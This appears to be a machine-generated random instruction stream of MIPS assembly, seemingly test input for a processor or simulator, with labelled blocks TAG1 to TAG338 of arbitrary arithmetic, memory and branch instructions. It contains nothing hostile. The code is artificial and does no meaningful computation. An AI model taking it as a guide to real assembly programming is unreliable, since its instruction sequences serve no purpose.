ori $1, $0, 1 ori $2, $0, 6 ori $3, $0, 8 ori $4, $0, 5 sw $2, 0($0) sw $4, 4($0) sw $4, 8($0) sw $3, 12($0) sw $4, 16($0) sw $1, 20($0) sw $2, 24($0) sw $1, 28($0) sw $4, 32($0) sw $4, 36($0) sw $4, 40($0) sw $3, 44($0) sw $3, 48($0) sw $1, 52($0) sw $4, 56($0) sw $4, 60($0) sw $1, 64($0) sw $4, 68($0) sw $2, 72($0) sw $2, 76($0) sw $3, 80($0) sw $2, 84($0) sw $3, 88($0) sw $2, 92($0) sw $1, 96($0) sw $4, 100($0) sw $1, 104($0) sw $2, 108($0) sw $1, 112($0) sw $3, 116($0) sw $1, 120($0) sw $4, 124($0) mthi $2 subu $1, $2, $2 mtlo $1 sb $1, 0($2) TAG1: multu $1, $1 bne $1, $1, TAG2 multu $1, $1 sb $1, 0($1) TAG2: xor $4, $1, $1 sw $1, 0($1) bne $1, $1, TAG3 srlv $2, $4, $4 TAG3: lui $4, 6 sw $2, 0($2) bgez $4, TAG4 lui $4, 1 TAG4: bgtz $4, TAG5 div $4, $4 divu $4, $4 lui $1, 4 TAG5: slt $1, $1, $1 mthi $1 mult $1, $1 multu $1, $1 TAG6: mtlo $1 xori $1, $1, 0 subu $4, $1, $1 bne $1, $1, TAG7 TAG7: mflo $1 lui $4, 3 addiu $2, $4, 13 mflo $2 TAG8: bgtz $2, TAG9 mflo $4 lw $3, 0($4) bltz $2, TAG9 TAG9: sll $4, $3, 3 mthi $4 lui $2, 1 sh $3, 0($3) TAG10: addiu $2, $2, 1 lui $2, 8 lui $3, 4 sll $0, $0, 0 TAG11: bne $3, $3, TAG12 lui $2, 6 lui $1, 0 lui $4, 13 TAG12: multu $4, $4 sll $0, $0, 0 bne $2, $2, TAG13 sltiu $1, $4, 3 TAG13: add $1, $1, $1 mflo $1 multu $1, $1 sb $1, 0($1) TAG14: mthi $1 andi $3, $1, 7 mtlo $1 bltz $1, TAG15 TAG15: lui $2, 2 bltz $2, TAG16 sll $0, $0, 0 bgez $3, TAG16 TAG16: mult $2, $2 bne $2, $2, TAG17 sllv $4, $2, $2 bltz $4, TAG17 TAG17: sll $0, $0, 0 mtlo $4 bgez $4, TAG18 lui $1, 8 TAG18: mfhi $1 lui $1, 3 mflo $1 beq $1, $1, TAG19 TAG19: sll $0, $0, 0 sll $0, $0, 0 div $1, $1 bltz $4, TAG20 TAG20: srav $4, $4, $4 addu $2, $4, $4 nor $2, $4, $2 bgtz $2, TAG21 TAG21: lui $4, 6 mtlo $2 mflo $2 bgtz $2, TAG22 TAG22: mfhi $1 sllv $4, $1, $1 bgtz $2, TAG23 multu $1, $4 TAG23: bgez $4, TAG24 multu $4, $4 mthi $4 sb $4, 0($4) TAG24: bne $4, $4, TAG25 lbu $4, 0($4) lw $4, 0($4) sb $4, 0($4) TAG25: multu $4, $4 sb $4, 0($4) lb $1, 0($4) mthi $4 TAG26: lbu $1, 0($1) multu $1, $1 mfhi $2 sw $1, 0($2) TAG27: mult $2, $2 mfhi $4 slt $4, $2, $4 slti $1, $4, 7 TAG28: andi $2, $1, 1 sb $1, 0($2) sll $3, $1, 12 andi $2, $2, 13 TAG29: lb $3, 0($2) lb $1, 0($3) xor $3, $2, $2 lui $1, 15 TAG30: lui $4, 0 mfhi $3 lui $1, 2 mflo $3 TAG31: lh $1, 0($3) bltz $1, TAG32 lui $2, 14 sllv $1, $1, $2 TAG32: mfhi $1 beq $1, $1, TAG33 slti $3, $1, 1 lbu $4, 0($1) TAG33: bne $4, $4, TAG34 srlv $4, $4, $4 blez $4, TAG34 sh $4, 0($4) TAG34: bgtz $4, TAG35 sw $4, 0($4) lh $2, 0($4) sh $2, 0($2) TAG35: lbu $1, 0($2) sltiu $3, $1, 9 blez $3, TAG36 srlv $4, $2, $1 TAG36: bne $4, $4, TAG37 mthi $4 sltu $2, $4, $4 lb $3, 0($4) TAG37: subu $3, $3, $3 bltz $3, TAG38 andi $2, $3, 3 mult $3, $3 TAG38: mthi $2 sub $2, $2, $2 mfhi $2 lui $3, 3 TAG39: addu $3, $3, $3 multu $3, $3 mfhi $2 beq $2, $2, TAG40 TAG40: srl $2, $2, 15 slt $1, $2, $2 lw $3, 0($1) mthi $2 TAG41: mfhi $3 mflo $3 sw $3, 0($3) lui $1, 1 TAG42: lui $4, 8 mtlo $1 sll $0, $0, 0 mflo $4 TAG43: mflo $2 lui $1, 13 srlv $2, $1, $1 lui $4, 3 TAG44: sll $0, $0, 0 slt $1, $1, $4 bne $1, $1, TAG45 mtlo $1 TAG45: mflo $2 mfhi $1 addiu $1, $1, 15 mult $1, $1 TAG46: div $1, $1 bltz $1, TAG47 mthi $1 mtlo $1 TAG47: mult $1, $1 lui $1, 1 blez $1, TAG48 sll $0, $0, 0 TAG48: sll $0, $0, 0 blez $3, TAG49 lh $1, 0($3) lui $3, 9 TAG49: multu $3, $3 srl $4, $3, 7 mthi $4 mfhi $2 TAG50: srlv $2, $2, $2 mthi $2 lh $2, 0($2) sw $2, 0($2) TAG51: mfhi $3 or $4, $2, $2 sra $1, $4, 11 sh $3, 0($3) TAG52: addi $3, $1, 12 sw $1, 0($3) sb $1, 0($1) subu $4, $1, $1 TAG53: sra $3, $4, 8 lb $2, 0($4) lui $4, 0 blez $4, TAG54 TAG54: slt $3, $4, $4 blez $3, TAG55 mult $4, $4 lui $3, 8 TAG55: mthi $3 beq $3, $3, TAG56 multu $3, $3 lb $1, 0($3) TAG56: sll $3, $1, 7 slt $4, $1, $3 multu $3, $1 add $1, $3, $4 TAG57: beq $1, $1, TAG58 sb $1, 0($1) and $4, $1, $1 lw $1, 0($1) TAG58: bne $1, $1, TAG59 mtlo $1 lhu $3, 0($1) sw $3, 0($1) TAG59: mtlo $3 lui $3, 5 blez $3, TAG60 lui $4, 6 TAG60: sll $0, $0, 0 mfhi $3 bne $3, $3, TAG61 mthi $3 TAG61: mfhi $3 andi $3, $3, 0 lw $3, 0($3) nor $4, $3, $3 TAG62: multu $4, $4 beq $4, $4, TAG63 srl $4, $4, 11 mflo $3 TAG63: add $2, $3, $3 sltiu $3, $3, 12 srl $1, $3, 4 nor $2, $3, $3 TAG64: blez $2, TAG65 mfhi $1 div $1, $2 mfhi $1 TAG65: sllv $3, $1, $1 slt $3, $1, $3 lui $3, 7 multu $3, $1 TAG66: sll $0, $0, 0 bgtz $4, TAG67 andi $2, $4, 7 andi $2, $2, 2 TAG67: sb $2, 0($2) lb $1, 0($2) beq $1, $2, TAG68 mthi $2 TAG68: mthi $1 mult $1, $1 div $1, $1 sll $4, $1, 12 TAG69: bltz $4, TAG70 sltu $2, $4, $4 mflo $3 multu $2, $2 TAG70: nor $1, $3, $3 sra $2, $1, 12 lbu $4, 0($3) lui $3, 9 TAG71: mult $3, $3 sll $0, $0, 0 beq $3, $3, TAG72 sll $0, $0, 0 TAG72: sll $0, $0, 0 slt $1, $4, $4 beq $1, $3, TAG73 sll $0, $0, 0 TAG73: mfhi $2 sll $0, $0, 0 addu $3, $2, $3 div $2, $3 TAG74: div $3, $3 srlv $2, $3, $3 sltiu $3, $3, 11 sb $3, 0($3) TAG75: bgez $3, TAG76 lbu $2, 0($3) lui $2, 4 sw $2, 0($3) TAG76: beq $2, $2, TAG77 multu $2, $2 mflo $4 sw $2, 0($2) TAG77: bltz $4, TAG78 sb $4, 0($4) mthi $4 multu $4, $4 TAG78: beq $4, $4, TAG79 sb $4, 0($4) mflo $4 lui $3, 14 TAG79: beq $3, $3, TAG80 lui $2, 6 mtlo $2 lb $4, 0($2) TAG80: sb $4, 0($4) multu $4, $4 sw $4, 0($4) sb $4, 0($4) TAG81: mult $4, $4 lw $3, 0($4) sb $3, 0($4) blez $4, TAG82 TAG82: multu $3, $3 lb $3, 0($3) bgtz $3, TAG83 multu $3, $3 TAG83: mult $3, $3 mflo $4 sh $3, 0($3) multu $3, $3 TAG84: mflo $2 sh $4, 0($4) beq $4, $4, TAG85 lui $2, 13 TAG85: sltu $4, $2, $2 multu $2, $4 addu $4, $4, $2 divu $4, $4 TAG86: sll $0, $0, 0 addu $1, $4, $4 div $4, $4 lui $1, 3 TAG87: sll $0, $0, 0 mtlo $1 divu $4, $4 sll $0, $0, 0 TAG88: sll $0, $0, 0 bgez $3, TAG89 mflo $4 addiu $2, $4, 7 TAG89: sll $0, $0, 0 slti $2, $1, 13 lui $4, 13 ori $1, $4, 6 TAG90: mult $1, $1 sll $0, $0, 0 xori $4, $1, 7 beq $1, $1, TAG91 TAG91: mthi $4 bne $4, $4, TAG92 sll $0, $0, 0 addiu $4, $4, 5 TAG92: mfhi $3 sll $0, $0, 0 bltz $4, TAG93 sll $0, $0, 0 TAG93: sll $0, $0, 0 lui $4, 6 mflo $3 bne $1, $3, TAG94 TAG94: mfhi $2 sll $0, $0, 0 mthi $2 blez $3, TAG95 TAG95: lui $2, 9 bltz $2, TAG96 divu $2, $2 blez $2, TAG96 TAG96: srl $3, $2, 0 multu $3, $2 mfhi $1 bne $2, $1, TAG97 TAG97: multu $1, $1 addiu $4, $1, 7 xori $4, $1, 7 or $2, $1, $1 TAG98: sb $2, 0($2) bne $2, $2, TAG99 mthi $2 bne $2, $2, TAG99 TAG99: div $2, $2 bne $2, $2, TAG100 lbu $4, 0($2) sb $2, 0($4) TAG100: bne $4, $4, TAG101 divu $4, $4 mflo $4 lb $2, 0($4) TAG101: or $2, $2, $2 mtlo $2 sw $2, 0($2) mfhi $4 TAG102: lb $2, 0($4) mult $4, $2 mfhi $1 sh $4, 0($4) TAG103: lbu $4, 0($1) mult $1, $4 and $1, $4, $1 lbu $3, 0($1) TAG104: lw $3, 0($3) addiu $1, $3, 13 mfhi $1 lhu $4, 0($3) TAG105: sltiu $4, $4, 2 mult $4, $4 lbu $3, 0($4) mfhi $4 TAG106: beq $4, $4, TAG107 sltu $2, $4, $4 bltz $4, TAG107 multu $4, $4 TAG107: sub $1, $2, $2 sb $1, 0($1) sub $3, $1, $1 bne $1, $3, TAG108 TAG108: xor $3, $3, $3 mthi $3 sb $3, 0($3) beq $3, $3, TAG109 TAG109: multu $3, $3 sll $4, $3, 3 mfhi $1 lui $3, 10 TAG110: beq $3, $3, TAG111 slt $3, $3, $3 lhu $2, 0($3) sllv $3, $2, $3 TAG111: lh $2, 0($3) sb $3, 0($2) bne $2, $3, TAG112 lui $2, 10 TAG112: mfhi $4 mtlo $4 lbu $1, 0($4) sub $3, $2, $1 TAG113: sll $0, $0, 0 lui $1, 13 multu $1, $3 lui $3, 5 TAG114: beq $3, $3, TAG115 sll $0, $0, 0 lui $4, 4 lui $4, 9 TAG115: bgez $4, TAG116 multu $4, $4 mthi $4 srav $3, $4, $4 TAG116: srlv $1, $3, $3 srlv $2, $1, $1 mflo $4 lui $3, 5 TAG117: mthi $3 lui $3, 4 multu $3, $3 sll $0, $0, 0 TAG118: sll $0, $0, 0 mfhi $4 nor $2, $4, $4 div $2, $3 TAG119: sll $0, $0, 0 mflo $1 div $1, $2 mthi $1 TAG120: subu $3, $1, $1 or $2, $1, $3 bltz $3, TAG121 lbu $4, 0($3) TAG121: bltz $4, TAG122 lui $1, 8 sb $1, 0($4) lui $2, 15 TAG122: mtlo $2 mflo $1 sll $0, $0, 0 srav $3, $2, $4 TAG123: sll $0, $0, 0 mflo $1 divu $3, $3 addu $1, $3, $3 TAG124: sll $0, $0, 0 bgez $1, TAG125 mthi $1 mult $1, $1 TAG125: mthi $1 mthi $1 mfhi $1 mfhi $1 TAG126: multu $1, $1 mflo $1 lui $3, 1 lui $3, 13 TAG127: beq $3, $3, TAG128 lui $4, 4 sltiu $2, $3, 3 sllv $4, $4, $2 TAG128: xori $4, $4, 7 sll $2, $4, 0 sltiu $2, $4, 14 lw $3, 0($2) TAG129: beq $3, $3, TAG130 sw $3, 0($3) sltiu $4, $3, 15 lui $4, 1 TAG130: mtlo $4 mthi $4 addiu $3, $4, 15 sllv $4, $3, $4 TAG131: mtlo $4 slti $1, $4, 7 ori $1, $1, 3 sb $1, 0($1) TAG132: lbu $4, 0($1) divu $4, $4 lui $4, 9 sltiu $4, $1, 3 TAG133: lw $3, 0($4) mult $3, $4 andi $2, $4, 6 or $4, $3, $2 TAG134: bgez $4, TAG135 sll $0, $0, 0 lbu $4, 0($4) mthi $4 TAG135: beq $4, $4, TAG136 sll $0, $0, 0 lb $4, 0($4) bne $4, $4, TAG136 TAG136: sll $0, $0, 0 mult $4, $4 sll $0, $0, 0 addu $1, $4, $2 TAG137: lui $2, 10 srav $1, $1, $1 mthi $1 lui $2, 2 TAG138: sll $0, $0, 0 andi $3, $2, 2 bgez $2, TAG139 sll $0, $0, 0 TAG139: bltz $3, TAG140 sra $3, $3, 8 sll $1, $3, 11 lw $4, 0($1) TAG140: blez $4, TAG141 div $4, $4 bgez $4, TAG141 mult $4, $4 TAG141: bne $4, $4, TAG142 and $1, $4, $4 mult $1, $1 slt $1, $4, $4 TAG142: lbu $4, 0($1) lhu $2, 0($4) sll $2, $4, 9 xori $3, $2, 7 TAG143: divu $3, $3 sllv $4, $3, $3 sra $1, $3, 7 lb $3, 0($3) TAG144: div $3, $3 sb $3, 0($3) srl $1, $3, 15 sltiu $1, $3, 0 TAG145: mult $1, $1 lh $4, 0($1) mthi $1 bgtz $1, TAG146 TAG146: mthi $4 bne $4, $4, TAG147 addu $1, $4, $4 mult $4, $4 TAG147: multu $1, $1 lui $4, 5 multu $4, $4 sub $4, $4, $1 TAG148: blez $4, TAG149 div $4, $4 multu $4, $4 bgez $4, TAG149 TAG149: sll $0, $0, 0 mfhi $4 subu $2, $2, $4 div $2, $4 TAG150: beq $2, $2, TAG151 lui $3, 10 beq $3, $3, TAG151 lui $4, 14 TAG151: lui $1, 4 bne $1, $1, TAG152 multu $4, $1 andi $3, $4, 7 TAG152: bne $3, $3, TAG153 ori $4, $3, 10 mflo $4 bgtz $3, TAG153 TAG153: lui $2, 4 mfhi $2 mthi $2 blez $2, TAG154 TAG154: mflo $3 beq $2, $2, TAG155 mflo $4 bltz $3, TAG155 TAG155: sll $0, $0, 0 sh $2, 0($2) mult $4, $2 bltz $2, TAG156 TAG156: mflo $1 multu $1, $1 mfhi $4 lui $4, 8 TAG157: lui $4, 7 beq $4, $4, TAG158 lui $1, 9 subu $1, $4, $4 TAG158: mthi $1 sll $0, $0, 0 mult $4, $1 multu $4, $4 TAG159: mthi $4 lui $4, 0 mthi $4 mthi $4 TAG160: or $2, $4, $4 mult $4, $2 lui $2, 3 beq $2, $2, TAG161 TAG161: sll $0, $0, 0 bne $2, $2, TAG162 mtlo $2 lui $1, 9 TAG162: mfhi $1 mflo $2 sll $0, $0, 0 bne $1, $1, TAG163 TAG163: sltiu $2, $2, 4 mfhi $1 multu $2, $1 mthi $1 TAG164: bne $1, $1, TAG165 sw $1, 0($1) mflo $4 sub $3, $4, $1 TAG165: mtlo $3 beq $3, $3, TAG166 sll $4, $3, 5 divu $3, $4 TAG166: lui $2, 7 mfhi $3 div $4, $2 slt $2, $3, $4 TAG167: mtlo $2 sb $2, 0($2) multu $2, $2 multu $2, $2 TAG168: addu $1, $2, $2 sllv $1, $2, $1 mflo $1 lh $2, 0($2) TAG169: beq $2, $2, TAG170 lhu $4, 0($2) mflo $2 lbu $1, 0($4) TAG170: or $3, $1, $1 lw $1, 0($1) srlv $1, $1, $3 xor $4, $1, $1 TAG171: mflo $1 mfhi $4 lui $2, 14 sh $1, 0($1) TAG172: bltz $2, TAG173 divu $2, $2 sll $0, $0, 0 bgtz $2, TAG173 TAG173: addiu $4, $2, 8 beq $2, $2, TAG174 mtlo $2 mflo $1 TAG174: lh $3, 0($1) blez $3, TAG175 mult $1, $3 lui $1, 11 TAG175: lui $4, 6 bltz $1, TAG176 ori $1, $4, 6 lui $3, 10 TAG176: mfhi $1 lui $4, 5 mthi $4 bltz $4, TAG177 TAG177: divu $4, $4 mthi $4 blez $4, TAG178 ori $1, $4, 5 TAG178: addiu $3, $1, 12 lui $2, 13 sll $0, $0, 0 lui $1, 7 TAG179: beq $1, $1, TAG180 sllv $3, $1, $1 lh $2, 0($1) sb $2, 0($3) TAG180: beq $2, $2, TAG181 sll $0, $0, 0 sub $3, $2, $2 lw $2, 0($2) TAG181: mthi $2 mtlo $2 sll $0, $0, 0 beq $2, $2, TAG182 TAG182: subu $4, $2, $2 sra $1, $4, 2 lui $2, 3 mfhi $2 TAG183: sra $1, $2, 7 addu $1, $1, $2 or $1, $1, $1 mfhi $4 TAG184: mfhi $1 mfhi $4 mtlo $4 mtlo $1 TAG185: slti $1, $4, 0 bgez $1, TAG186 lb $1, 0($1) srav $2, $4, $1 TAG186: bltz $2, TAG187 srl $1, $2, 10 lui $3, 14 bltz $1, TAG187 TAG187: mfhi $1 lui $3, 11 sll $0, $0, 0 mult $3, $3 TAG188: bgtz $3, TAG189 sll $0, $0, 0 div $3, $3 div $3, $3 TAG189: sll $0, $0, 0 blez $3, TAG190 lui $3, 6 sll $0, $0, 0 TAG190: srlv $1, $4, $4 sll $0, $0, 0 bgez $4, TAG191 slti $3, $1, 9 TAG191: sub $4, $3, $3 lbu $2, 0($4) mflo $2 lhu $2, 0($2) TAG192: sh $2, 0($2) lh $2, 0($2) lb $4, 0($2) mthi $4 TAG193: lhu $1, 0($4) lui $4, 13 addu $3, $4, $1 lui $1, 8 TAG194: lui $2, 2 mthi $1 mthi $1 addiu $2, $1, 9 TAG195: bltz $2, TAG196 mfhi $1 div $2, $2 slt $3, $2, $1 TAG196: bltz $3, TAG197 mult $3, $3 mult $3, $3 srl $2, $3, 6 TAG197: srlv $4, $2, $2 bne $2, $4, TAG198 sltu $3, $4, $2 sll $3, $3, 8 TAG198: mult $3, $3 lui $2, 9 sltu $3, $2, $2 srlv $4, $3, $3 TAG199: lui $3, 9 multu $4, $4 beq $4, $3, TAG200 mflo $1 TAG200: bne $1, $1, TAG201 mfhi $3 mult $1, $1 beq $3, $3, TAG201 TAG201: sllv $4, $3, $3 xor $3, $3, $4 beq $3, $3, TAG202 sw $3, 0($3) TAG202: mfhi $2 lui $3, 14 sub $1, $3, $2 mthi $2 TAG203: mflo $1 multu $1, $1 lb $4, 0($1) lui $4, 7 TAG204: lui $4, 8 mthi $4 bgtz $4, TAG205 srlv $3, $4, $4 TAG205: addu $4, $3, $3 lui $3, 1 sll $0, $0, 0 mtlo $4 TAG206: bgtz $3, TAG207 sll $0, $0, 0 mthi $3 beq $3, $3, TAG207 TAG207: mflo $3 xor $3, $3, $3 sll $2, $3, 1 nor $2, $3, $3 TAG208: multu $2, $2 subu $3, $2, $2 lui $4, 13 lui $2, 13 TAG209: mtlo $2 bne $2, $2, TAG210 divu $2, $2 lui $4, 12 TAG210: bgez $4, TAG211 mflo $2 sra $4, $2, 13 lbu $2, 0($4) TAG211: divu $2, $2 slti $4, $2, 12 bgtz $4, TAG212 mthi $2 TAG212: lbu $2, 0($4) mfhi $3 bne $3, $3, TAG213 mthi $2 TAG213: bne $3, $3, TAG214 mflo $4 bne $3, $3, TAG214 slti $4, $4, 2 TAG214: sltiu $3, $4, 5 sb $3, 0($4) mtlo $3 sb $4, 0($3) TAG215: lui $4, 7 blez $3, TAG216 mtlo $4 lui $3, 0 TAG216: lhu $3, 0($3) blez $3, TAG217 lw $4, -256($3) sw $3, -256($4) TAG217: bltz $4, TAG218 mtlo $4 sb $4, -256($4) bne $4, $4, TAG218 TAG218: addiu $2, $4, 14 bltz $4, TAG219 lw $2, -256($4) multu $2, $4 TAG219: beq $2, $2, TAG220 andi $1, $2, 5 bne $2, $2, TAG220 andi $1, $1, 4 TAG220: nor $3, $1, $1 multu $3, $1 mtlo $3 addu $1, $3, $1 TAG221: mult $1, $1 nor $3, $1, $1 mflo $1 lui $4, 9 TAG222: divu $4, $4 sltu $2, $4, $4 sll $0, $0, 0 lui $4, 7 TAG223: bne $4, $4, TAG224 lui $2, 14 sltiu $4, $4, 3 mult $2, $4 TAG224: or $3, $4, $4 bltz $4, TAG225 lui $2, 13 or $2, $3, $2 TAG225: lui $3, 1 bne $2, $3, TAG226 slt $2, $2, $2 slti $4, $3, 15 TAG226: bne $4, $4, TAG227 lh $2, 0($4) sb $4, 0($4) sh $2, 0($4) TAG227: multu $2, $2 lui $4, 13 sh $4, -256($2) slt $2, $2, $4 TAG228: lb $2, 0($2) mtlo $2 bltz $2, TAG229 lb $1, 0($2) TAG229: mult $1, $1 sw $1, 0($1) lb $4, 0($1) xori $3, $4, 11 TAG230: lb $3, 0($3) mthi $3 sh $3, 0($3) beq $3, $3, TAG231 TAG231: lb $1, 0($3) lui $1, 8 mthi $3 lui $3, 14 TAG232: sltiu $3, $3, 10 lui $2, 7 srl $1, $2, 15 lui $3, 1 TAG233: blez $3, TAG234 mfhi $4 mthi $3 mult $4, $4 TAG234: sltiu $4, $4, 7 slt $4, $4, $4 lui $3, 4 mult $4, $4 TAG235: sll $0, $0, 0 div $3, $3 slti $4, $3, 3 div $4, $3 TAG236: bltz $4, TAG237 mthi $4 lhu $4, 0($4) bltz $4, TAG237 TAG237: sll $3, $4, 0 bne $3, $4, TAG238 or $4, $4, $4 sh $4, 0($3) TAG238: lui $1, 2 sll $0, $0, 0 mthi $4 mthi $1 TAG239: srl $4, $1, 1 bltz $1, TAG240 lui $3, 10 sll $0, $0, 0 TAG240: lui $3, 15 mfhi $4 bgtz $3, TAG241 divu $3, $3 TAG241: mtlo $4 lui $2, 9 subu $2, $4, $4 multu $2, $2 TAG242: multu $2, $2 multu $2, $2 lh $1, 0($2) bgtz $1, TAG243 TAG243: mfhi $1 sb $1, 0($1) lui $4, 2 multu $1, $4 TAG244: sll $0, $0, 0 sltiu $1, $2, 13 slti $2, $2, 14 mthi $2 TAG245: mfhi $1 multu $1, $2 blez $1, TAG246 multu $2, $2 TAG246: lui $2, 9 ori $3, $1, 13 lui $1, 7 lui $4, 3 TAG247: multu $4, $4 sra $3, $4, 4 or $2, $3, $4 sra $2, $3, 1 TAG248: mfhi $2 sb $2, 0($2) beq $2, $2, TAG249 sb $2, 0($2) TAG249: mthi $2 multu $2, $2 mfhi $2 sb $2, 0($2) TAG250: add $1, $2, $2 multu $1, $1 andi $1, $1, 7 mthi $1 TAG251: nor $3, $1, $1 lui $2, 12 bne $2, $1, TAG252 srl $3, $3, 9 TAG252: sll $0, $0, 0 sll $0, $0, 0 addiu $2, $3, 14 multu $2, $2 TAG253: mflo $1 bne $2, $2, TAG254 mflo $2 sll $0, $0, 0 TAG254: sll $0, $0, 0 bgez $4, TAG255 divu $4, $4 bltz $4, TAG255 TAG255: xor $2, $4, $4 mfhi $3 mthi $2 mfhi $2 TAG256: mult $2, $2 sll $2, $2, 7 lui $1, 12 bgez $1, TAG257 TAG257: mthi $1 bne $1, $1, TAG258 mtlo $1 sll $0, $0, 0 TAG258: mflo $4 xori $3, $4, 10 mthi $4 ori $3, $2, 5 TAG259: mfhi $1 bgez $3, TAG260 lbu $1, 0($3) sh $1, 0($1) TAG260: mtlo $1 slt $4, $1, $1 lw $3, 0($4) bne $3, $1, TAG261 TAG261: lw $4, 0($3) mtlo $3 mult $4, $3 mult $3, $4 TAG262: srl $1, $4, 7 beq $1, $1, TAG263 lb $4, 0($1) mult $4, $4 TAG263: mtlo $4 lui $4, 12 sll $0, $0, 0 sll $0, $0, 0 TAG264: lh $4, 0($1) lw $3, 0($1) ori $1, $3, 9 bne $4, $3, TAG265 TAG265: nor $3, $1, $1 mtlo $3 multu $1, $1 mtlo $3 TAG266: ori $4, $3, 3 lh $1, 10($3) xori $1, $4, 10 bne $1, $1, TAG267 TAG267: sra $2, $1, 4 mtlo $2 lui $1, 6 lb $2, 1($2) TAG268: bne $2, $2, TAG269 mflo $3 sw $3, 0($2) mflo $1 TAG269: sll $0, $0, 0 beq $1, $1, TAG270 addiu $3, $1, 8 lui $2, 5 TAG270: mflo $2 andi $1, $2, 3 addiu $3, $1, 9 mfhi $2 TAG271: sll $3, $2, 7 bne $3, $3, TAG272 lbu $4, 0($3) beq $4, $4, TAG272 TAG272: sh $4, -255($4) addiu $1, $4, 13 multu $1, $1 lh $2, -268($1) TAG273: bltz $2, TAG274 mflo $3 sll $0, $0, 0 mtlo $3 TAG274: subu $3, $3, $3 bgtz $3, TAG275 sll $3, $3, 6 lhu $3, 0($3) TAG275: and $3, $3, $3 mflo $4 mthi $4 lhu $1, -255($3) TAG276: sllv $3, $1, $1 subu $2, $1, $3 mthi $2 mthi $2 TAG277: srav $3, $2, $2 mult $3, $2 lui $1, 7 bne $3, $2, TAG278 TAG278: subu $4, $1, $1 mult $4, $4 blez $1, TAG279 sltiu $3, $1, 3 TAG279: slti $2, $3, 3 sub $4, $2, $3 subu $3, $4, $2 lui $4, 10 TAG280: sll $0, $0, 0 blez $4, TAG281 mtlo $4 sll $0, $0, 0 TAG281: srav $1, $4, $4 bgez $1, TAG282 slti $4, $1, 0 sh $4, 0($1) TAG282: lui $1, 9 lw $3, 0($4) mfhi $3 sll $0, $0, 0 TAG283: multu $3, $3 bltz $3, TAG284 lhu $3, 0($3) sb $3, -255($3) TAG284: lui $4, 9 sltiu $4, $4, 14 bne $4, $4, TAG285 mfhi $4 TAG285: xori $2, $4, 15 mtlo $4 mflo $1 bltz $1, TAG286 TAG286: mfhi $2 sw $1, 0($2) bgtz $2, TAG287 lw $4, 0($1) TAG287: lui $3, 14 ori $2, $3, 4 mfhi $4 bne $3, $2, TAG288 TAG288: lui $3, 8 lw $3, 0($4) bgtz $4, TAG289 sltiu $2, $3, 6 TAG289: lui $3, 13 lb $4, 0($2) sb $4, 0($4) mflo $1 TAG290: mtlo $1 ori $3, $1, 8 mult $3, $3 lui $3, 5 TAG291: bgez $3, TAG292 ori $4, $3, 7 lui $4, 15 mthi $4 TAG292: mfhi $3 srav $3, $4, $4 lui $1, 6 lui $4, 14 TAG293: lui $1, 14 mflo $1 srl $1, $4, 5 sll $0, $0, 0 TAG294: mthi $1 bne $1, $1, TAG295 mtlo $1 mtlo $1 TAG295: lui $1, 7 sll $0, $0, 0 beq $1, $1, TAG296 mult $1, $1 TAG296: divu $1, $1 bltz $1, TAG297 mfhi $1 andi $1, $1, 15 TAG297: lui $3, 8 beq $3, $3, TAG298 lui $2, 10 lui $1, 1 TAG298: mtlo $1 mult $1, $1 bgtz $1, TAG299 lui $3, 14 TAG299: sll $0, $0, 0 mult $1, $3 mfhi $1 beq $1, $3, TAG300 TAG300: mfhi $3 blez $1, TAG301 mtlo $3 bgtz $3, TAG301 TAG301: mfhi $2 sra $1, $3, 12 bgtz $3, TAG302 lw $1, 0($2) TAG302: mflo $2 mfhi $4 sh $1, 0($1) multu $4, $2 TAG303: multu $4, $4 lw $2, 0($4) beq $2, $2, TAG304 lhu $4, 0($2) TAG304: beq $4, $4, TAG305 xori $1, $4, 15 bne $4, $4, TAG305 lui $3, 10 TAG305: sub $1, $3, $3 multu $1, $3 sll $3, $1, 13 lb $1, 0($3) TAG306: sra $2, $1, 9 sb $2, 0($1) sltiu $3, $2, 4 sb $2, 0($3) TAG307: blez $3, TAG308 sb $3, 0($3) mult $3, $3 sb $3, 0($3) TAG308: div $3, $3 lui $1, 4 sll $0, $0, 0 div $3, $3 TAG309: mult $1, $1 mfhi $2 lw $3, 0($2) divu $3, $2 TAG310: lbu $2, 0($3) mult $3, $3 bne $2, $3, TAG311 sra $3, $2, 5 TAG311: bltz $3, TAG312 lb $4, 0($3) sll $2, $4, 13 mflo $1 TAG312: mfhi $2 lb $4, 0($2) mthi $1 bgez $4, TAG313 TAG313: nor $1, $4, $4 sh $4, 1($1) lui $1, 11 blez $1, TAG314 TAG314: sll $0, $0, 0 addiu $4, $1, 4 sll $0, $0, 0 sll $0, $0, 0 TAG315: mtlo $4 sll $0, $0, 0 addu $4, $4, $4 multu $4, $4 TAG316: lui $3, 5 sll $0, $0, 0 addu $3, $3, $3 mfhi $3 TAG317: bltz $3, TAG318 mult $3, $3 lui $1, 13 sra $4, $3, 5 TAG318: bgtz $4, TAG319 addiu $3, $4, 15 mfhi $4 bgez $3, TAG319 TAG319: sb $4, 0($4) bltz $4, TAG320 lbu $3, 0($4) mthi $4 TAG320: sb $3, 0($3) lui $4, 3 mtlo $4 addiu $4, $3, 0 TAG321: sra $3, $4, 15 multu $4, $3 mfhi $4 lb $1, 0($3) TAG322: lui $4, 12 bgtz $1, TAG323 lbu $1, 0($1) mult $1, $1 TAG323: lui $3, 10 sw $1, 0($1) bgez $3, TAG324 mfhi $4 TAG324: and $1, $4, $4 bne $4, $4, TAG325 sltu $2, $1, $1 sb $1, 0($4) TAG325: multu $2, $2 andi $1, $2, 14 slti $1, $2, 14 addiu $4, $2, 14 TAG326: sllv $1, $4, $4 bne $4, $1, TAG327 mtlo $4 sb $4, 0($4) TAG327: bltz $1, TAG328 sll $0, $0, 0 sll $0, $0, 0 lui $2, 1 TAG328: addu $1, $2, $2 sll $0, $0, 0 mfhi $3 multu $3, $3 TAG329: mult $3, $3 mult $3, $3 sb $3, 0($3) lbu $4, 0($3) TAG330: multu $4, $4 blez $4, TAG331 lui $1, 1 nor $3, $1, $4 TAG331: sra $1, $3, 0 or $4, $3, $1 bne $1, $1, TAG332 multu $4, $1 TAG332: bltz $4, TAG333 lw $1, 0($4) sub $3, $4, $1 srl $2, $4, 8 TAG333: bne $2, $2, TAG334 sw $2, 0($2) lui $4, 0 xor $2, $4, $2 TAG334: mfhi $2 lhu $3, 0($2) lui $1, 13 mflo $4 TAG335: sw $4, 0($4) mult $4, $4 mflo $1 srl $3, $1, 6 TAG336: mtlo $3 mthi $3 bgez $3, TAG337 sw $3, 0($3) TAG337: bgez $3, TAG338 lui $4, 8 mthi $3 multu $4, $4 TAG338: lui $4, 12 div $4, $4 slt $4, $4, $4 bltz $4, TAG339 